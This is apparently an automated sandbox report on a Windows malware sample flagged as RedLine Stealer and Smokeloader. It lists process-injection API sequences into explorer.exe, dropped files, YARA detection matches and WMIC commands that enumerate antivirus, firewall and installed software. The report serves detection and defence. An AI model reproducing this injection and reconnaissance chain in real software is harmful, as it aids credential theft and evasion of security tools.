Source: C:\Windows\explorer.exe	Code function: 13_2_003C38B0 NtUnmapViewOfSection,	13_2_003C38B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00581016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	14_2_00581016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00581819 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	14_2_00581819
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 14_2_00581A80 NtCreateSection,NtMapViewOfSection,	14_2_00581A80
Source: C:\Windows\explorer.exe	Code function: 17_2_0082355C NtUnmapViewOfSection,	17_2_0082355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02F21016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,wsprintfA,RtlMoveMemory,CreateToolhelp32Snapshot,Process32First,CharLowerA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	19_2_02F21016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02F218BF OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	19_2_02F218BF
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 19_2_02F21B26 NtCreateSection,NtMapViewOfSection,	19_2_02F21B26
Source: C:\Windows\explorer.exe	Code function: 20_2_00EE370C NtUnmapViewOfSection,	20_2_00EE370C

Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327A9AC8	10_2_00007FF7327A9AC8
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327ADC0C	10_2_00007FF7327ADC0C
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327AA520	10_2_00007FF7327AA520
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327A213C	10_2_00007FF7327A213C
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327AA778	10_2_00007FF7327AA778
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327A3220	10_2_00007FF7327A3220
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Code function: 10_2_00007FF7327AB428	10_2_00007FF7327AB428
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F2198	12_2_030F2198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_0310B35C	12_2_0310B35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030FC2F9	12_2_030FC2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_03144438	12_2_03144438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_0310B97E	12_2_0310B97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_03115F08	12_2_03115F08
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 12_2_030F6E6A	12_2_030F6E6A
Source: C:\Windows\explorer.exe	Code function: 13_2_003C1E20	13_2_003C1E20
Source: C:\Windows\explorer.exe	Code function: 17_2_00822054	17_2_00822054
Source: C:\Windows\explorer.exe	Code function: 17_2_00822860	17_2_00822860
Source: C:\Windows\explorer.exe	Code function: 20_2_00EE20F4	20_2_00EE20F4
Source: C:\Windows\explorer.exe	Code function: 20_2_00EE2A04	20_2_00EE2A04

Source: C:\Windows\SysWOW64\explorer.exe

Code function: String function: 030F8801 appears 38 times

Source: bCnarg2O62.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000005.00000002.2045303884.000000000050C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.2263785204.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1799052498.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2045484809.0000000001FE1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2106411331.0000000000520000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2106596720.000000000073F000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1799134235.0000000000540000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000005.00000002.2045012210.00000000004A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000006.00000002.2106729164.0000000002101000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2520412148.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000006.00000002.2106441385.0000000000530000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1799360788.00000000005AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000007.00000002.2264170490.00000000020E1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000007.00000002.2263700057.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000005.00000002.2045088261.00000000004B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1799202066.0000000000561000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000007.00000002.2264057033.000000000075D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000008.00000002.2520072402.0000000000710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@62/14@5/4

Source: C:\Users\user\Desktop\bCnarg2O62.exe

Code function: 0_2_005BF894 CreateToolhelp32Snapshot,Module32First,

0_2_005BF894

Source: C:\Users\user\AppData\Local\Temp\9245.exe

Code function: 10_2_00007FF7327A7138 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,

10_2_00007FF7327A7138

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\derhswe

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\1D0F.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: bCnarg2O62.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\9245.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name, DeviceID, NumberOfCores FROM Win32_Processor
Source: C:\Windows\System32\wbem\WMIC.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Caption, CommandLine, ExecutablePath, ProcessId FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="4"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="92"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="324"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="408"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="484"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="492"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="620"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="628"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="752"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="776"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="784"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="872"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="920"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="988"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="364"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="356"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="696"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="592"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1044"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1084"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1176"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1200"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1252"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1296"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1316"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1408"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1476"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1488"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1496"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1552"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1572"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1652"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1724"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1824"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1840"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1940"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1948"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1956"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2036"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="1932"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2064"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2152"::GetOwner
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : \\user-PC\root\cimv2:Win32_Process.Handle="2216"::GetOwner

Source: C:\Windows\explorer.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\bCnarg2O62.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: D805.tmp.12.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: bCnarg2O62.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\bCnarg2O62.exe "C:\Users\user\Desktop\bCnarg2O62.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\derhswe C:\Users\user\AppData\Roaming\derhswe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\derhswe C:\Users\user\AppData\Roaming\derhswe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\1D0F.exe C:\Users\user\AppData\Local\Temp\1D0F.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\jfrhswe C:\Users\user\AppData\Roaming\jfrhswe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9245.exe C:\Users\user\AppData\Local\Temp\9245.exe
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\9245.exe	Process created: C:\Windows\System32\cmd.exe cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /format:csv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path FirewallProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\SecurityCenter2 Path AntiSpywareProduct Get displayName /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Processor Get Name,DeviceID,NumberOfCores /format:csv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic /namespace:\\root\cimv2 Path Win32_Product Get Name,Version /format:csv
